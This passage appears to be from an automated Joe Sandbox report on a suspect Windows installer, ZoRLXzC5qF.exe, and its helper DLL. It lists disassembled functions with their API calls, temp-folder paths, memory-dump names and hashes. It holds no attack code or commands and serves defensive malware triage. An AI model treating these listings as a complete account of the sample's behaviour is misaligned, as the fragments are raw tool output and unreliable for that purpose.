Part of subcall function 00405EF1: CharNextW.USER32(00000000), ref: 00405F04
Part of subcall function 00405EF1: CharNextW.USER32(00000000), ref: 00405F1C

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,00000000,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ZoRLXzC5qF.exe"), ref: 00405FA7
GetFileAttributesW.KERNEL32(C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,00000000,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,75573420,C:\Users\user\AppData\Local\Temp\), ref: 00405FB7

Strings

C:\Users\user\AppData\Local\Temp\nssD9DF.tmp, xrefs: 00405F54, 00405F59, 00405F5F, 00405FA0, 00405FA6, 00405FAE, 00405FB6
C:\Users\user\AppData\Local\Temp\, xrefs: 00405F4E
4Wu, xrefs: 00405F50

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 4Wu$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nssD9DF.tmp
API String ID: 3248276644-675436131
Opcode ID: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
Instruction ID: 6a7a19aedd3560da6e477bd72522a8c235124595f9c35bb96c459409ca5d5c37
Opcode Fuzzy Hash: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
Instruction Fuzzy Hash: 28F0F42A105E6369C622333A5C05AAF1954CE86324B5A453FBC91F22C5CF3C8A42CDBE

Function 6E9B1979 Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 6E9B19DA
GlobalFree.KERNEL32(?), ref: 6E9B1B7A
GlobalFree.KERNEL32(?), ref: 6E9B1B7F

Memory Dump Source

Source File: 00000000.00000002.1898801458.000000006E9B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.1898341162.000000006E9B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1898961174.000000006E9B4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1898992043.000000006E9B6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_ZoRLXzC5qF.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 2a40f08b5594995845782dd3ca643674a3766ada3bb1076d5817e799082efa10
Instruction ID: 42f6322e2152c55a551ff54aa79e0293c844e23873cb6262f11f50ffa9c49ebd
Opcode Fuzzy Hash: 2a40f08b5594995845782dd3ca643674a3766ada3bb1076d5817e799082efa10
Instruction Fuzzy Hash: D551D572D14129AE8B409FEBC45069FBBBDEF87314F10855AD404A3218F771EA8D8F91

Function 6E9B2480 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 6E9B25C2

Part of subcall function 6E9B12CC: lstrcpynW.KERNEL32(00000000,?,6E9B137F,00000019,6E9B11CA,-000000A0), ref: 6E9B12DC

GlobalAlloc.KERNEL32(00000040), ref: 6E9B2548
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 6E9B2563

Memory Dump Source

Source File: 00000000.00000002.1898801458.000000006E9B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.1898341162.000000006E9B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1898961174.000000006E9B4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1898992043.000000006E9B6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_ZoRLXzC5qF.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: e40a512048e02c1f94ece9d4499cbabbe10fd6fa178397c1a74645a0b54c20f4
Instruction ID: 07741c000972a0852cd6c35b28c8f5901153dbd362695f929020a7473c724c36
Opcode Fuzzy Hash: e40a512048e02c1f94ece9d4499cbabbe10fd6fa178397c1a74645a0b54c20f4
Instruction Fuzzy Hash: 4741ABB1408705DFD7149FAAD854A6B77A9FF96310F004D1DE84A8B680F770E945CF61

Function 00401DA6 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401DBF
GetClientRect.USER32(?,?), ref: 00401E0A
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E3A
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E4E
DeleteObject.GDI32(00000000), ref: 00401E5E

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 81c9bb8771d2fff4a04963bae7b32cf8a9b6882c20dc3426dc9c78dd315e4f46
Instruction ID: c57303c31a56d7bc8f2a0c5af16d3cdd50a2ae23bf22298ce01a5789fd7b985b
Opcode Fuzzy Hash: 81c9bb8771d2fff4a04963bae7b32cf8a9b6882c20dc3426dc9c78dd315e4f46
Instruction Fuzzy Hash: B9211972900119AFCB05DF98DE45AEEBBB5EB08354F14003AFA45F62A0D7789D81DB98

Function 6E9B16BD Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,6E9B22D8,?,00000808), ref: 6E9B16D5
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,6E9B22D8,?,00000808), ref: 6E9B16DC
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,6E9B22D8,?,00000808), ref: 6E9B16F0
GetProcAddress.KERNEL32(6E9B22D8,00000000), ref: 6E9B16F7
GlobalFree.KERNEL32(00000000), ref: 6E9B1700

Memory Dump Source

Source File: 00000000.00000002.1898801458.000000006E9B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.1898341162.000000006E9B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1898961174.000000006E9B4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1898992043.000000006E9B6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_ZoRLXzC5qF.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 8d3e0b27a47b568bd075f8f0bf02752e0f687c3aa7409455ea789f6ec1c73f07
Instruction ID: 48c0a269a4565ffebf5f77a24a3c64160f6b59a2c33cb3b9c26c845286e1db6a
Opcode Fuzzy Hash: 8d3e0b27a47b568bd075f8f0bf02752e0f687c3aa7409455ea789f6ec1c73f07
Instruction Fuzzy Hash: 73F0377250A5387FDB2016A79C4CC9B7E9CDF8B6F5B110315F718D119095614C02DBF1

Function 00401C68 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401CD8
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CF0

Strings

!, xrefs: 00401CA4

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: a637eb720a8cb25f7279c4c7dfa93e68b81a041eba1bee5adc213dda34b2fd0f
Instruction ID: 1a2acd516b32d4a8bba1f086ee74ddb70cdd2400578aaa813c3bd98b8eca9c32
Opcode Fuzzy Hash: a637eb720a8cb25f7279c4c7dfa93e68b81a041eba1bee5adc213dda34b2fd0f
Instruction Fuzzy Hash: 1121A071D1421AAEEB05AFA4D94AAFE7BB0EF44304F10453FF501B61D0D7B88941DB98

Function 00404DA3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E44
wsprintfW.USER32 ref: 00404E4D
SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E60

Strings

%u.%u%s%s, xrefs: 00404E2E

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
Instruction ID: f1ad69e943298bab6ea0b6c220370dbc78873d19d133ff1b34b391d97265b774
Opcode Fuzzy Hash: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
Instruction Fuzzy Hash: 3011EB336041287BDB10566DAC45E9E329CDF85374F250237FE25F21D5E978C92182E8

Function 00405EF1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,?,00405F65,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp,C:\Users\user\AppData\Local\Temp\nssD9DF.tmp, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ZoRLXzC5qF.exe"), ref: 00405EFF
CharNextW.USER32(00000000), ref: 00405F04
CharNextW.USER32(00000000), ref: 00405F1C

Strings

C:\Users\user\AppData\Local\Temp\nssD9DF.tmp, xrefs: 00405EF2

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CharNext
String ID: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp
API String ID: 3213498283-2809226105
Opcode ID: a019630038ff328a8ec37a6ad8a5e0fa1ea3fa9b42c133706ff5938ffc5cdd25
Instruction ID: 0a1f1b5a9c7109d9782da40e5c64a20d368bd089a9add51530d5bf68f03dfa04
Opcode Fuzzy Hash: a019630038ff328a8ec37a6ad8a5e0fa1ea3fa9b42c133706ff5938ffc5cdd25
Instruction Fuzzy Hash: 98F09062D00A2795DA31B7645C85A7766BCEB593A0B00807BE601B72C0D7BC48818EDA

Function 00405E46 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040353F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00405E4C
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040353F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00405E56
lstrcatW.KERNEL32(?,0040A014,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00405E68

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405E46

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4083868402
Opcode ID: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
Instruction ID: f2f0f64a112d89f35c11d852d44423d34ca235ab8761dbed5ccf1744ff487032
Opcode Fuzzy Hash: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
Instruction Fuzzy Hash: C2D05E31101534AAC6116F54AD04DDB62AC9E46384381483BF541B20A5C778595186FD

Function 6E9B10E1 Relevance: 6.4, APIs: 5, Instructions: 145memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 6E9B1171
GlobalAlloc.KERNEL32(00000040,?), ref: 6E9B11E3
GlobalFree.KERNEL32 ref: 6E9B124A
GlobalFree.KERNEL32(?), ref: 6E9B129B
GlobalFree.KERNEL32(00000000), ref: 6E9B12B1

Memory Dump Source

Source File: 00000000.00000002.1898801458.000000006E9B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.1898341162.000000006E9B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1898961174.000000006E9B4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1898992043.000000006E9B6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_ZoRLXzC5qF.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 62a14fa76f0874704d64d2111661523a775a2a22d10d2889b932a0920f1a60d1
Instruction ID: 8dc723176347b89b4fefabae6ab8930d2fd5b0ef53d36bc94c2da3d1626f942a
Opcode Fuzzy Hash: 62a14fa76f0874704d64d2111661523a775a2a22d10d2889b932a0920f1a60d1
Instruction Fuzzy Hash: 905169B590860ADFDB40CFAAC898A6777ADFF4B715B004529E948DB220E734ED09CF54

Function 00402663 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll), ref: 004026BA

Strings

C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll, xrefs: 0040267E, 004026A3, 004026B5, 00402701
C:\Users\user\AppData\Local\Temp\nssD9DF.tmp, xrefs: 004026A8

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: lstrlen
String ID: C:\Users\user\AppData\Local\Temp\nssD9DF.tmp$C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll
API String ID: 1659193697-4114267351
Opcode ID: 16bcd07f8b696e8d4d77bdf42abac6a8be44450ddb0260aebc576801c6c870aa
Instruction ID: 2d8dd356423beb748054ff885628a6ea3dfbd93006732d19d47d72bde2aed11d
Opcode Fuzzy Hash: 16bcd07f8b696e8d4d77bdf42abac6a8be44450ddb0260aebc576801c6c870aa
Instruction Fuzzy Hash: 3C11EB71A00315ABCB106FB19E466AE7761AF40748F21443FF502B71C1EAFD8891676E

Function 0040303E Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,0040321C,?), ref: 00403051
GetTickCount.KERNEL32 ref: 0040306F
CreateDialogParamW.USER32(0000006F,00000000,00402FB8,00000000), ref: 0040308C
ShowWindow.USER32(00000000,00000005), ref: 0040309A

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: dba963b85b565a1be4b34eea4ba853e9dad76a83014f6dce089c5eda9641480c
Instruction ID: e0f0fd039426b51c9db09d8e0aed7b7b9f53d87474512ec8403aba9b2c913b41
Opcode Fuzzy Hash: dba963b85b565a1be4b34eea4ba853e9dad76a83014f6dce089c5eda9641480c
Instruction Fuzzy Hash: 93F05470602A21ABC6216F50FE09A9B7B69FB45B12B41043AF545B11ACCB384891CB9D

Function 00405570 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040559F
CallWindowProcW.USER32(?,?,?,?), ref: 004055F0

Part of subcall function 00404542: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404554

Strings

, xrefs: 00405580

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
Instruction ID: f144bc20a23b2fc1dad06cc698734642626ca736bc3518a3bbd7873959a32aa8
Opcode Fuzzy Hash: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
Instruction Fuzzy Hash: 21017171100608BBDF219F11DD84A9F376BEB84794F204037FA027A1D9C7398D529A69

Function 00403BB4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,75573420,00000000,C:\Users\user\AppData\Local\Temp\,00403B8C,00403AA2,?,?,00000008,0000000A,0000000C), ref: 00403BCE
GlobalFree.KERNEL32(005F1CA8), ref: 00403BD5

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403BB4

Memory Dump Source

Source File: 00000000.00000002.1843839056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1843822754.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843855251.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843871089.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1843983781.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-4083868402
Opcode ID: 522759d04011631da2fa13ba2704cf46823a2ab452b41ebb0ecea140ccdeae61
Instruction ID: 378dd3650374f781d23bf779db5809bbac3881e8a2166d277484928c36cee721
Opcode Fuzzy Hash: 522759d04011631da2fa13ba2704cf46823a2ab452b41ebb0ecea140ccdeae61
Instruction Fuzzy Hash: 20E08C336204205BC6311F15AE05B1A77786F89B2AF01402AE8407B2628BB47C528FC8

Function 00405E92 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,0040310E,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\ZoRLXzC5qF.exe,C:\Users\user\Desktop\ZoRLXzC5qF.exe,80000000,00000003), ref: 00405E98
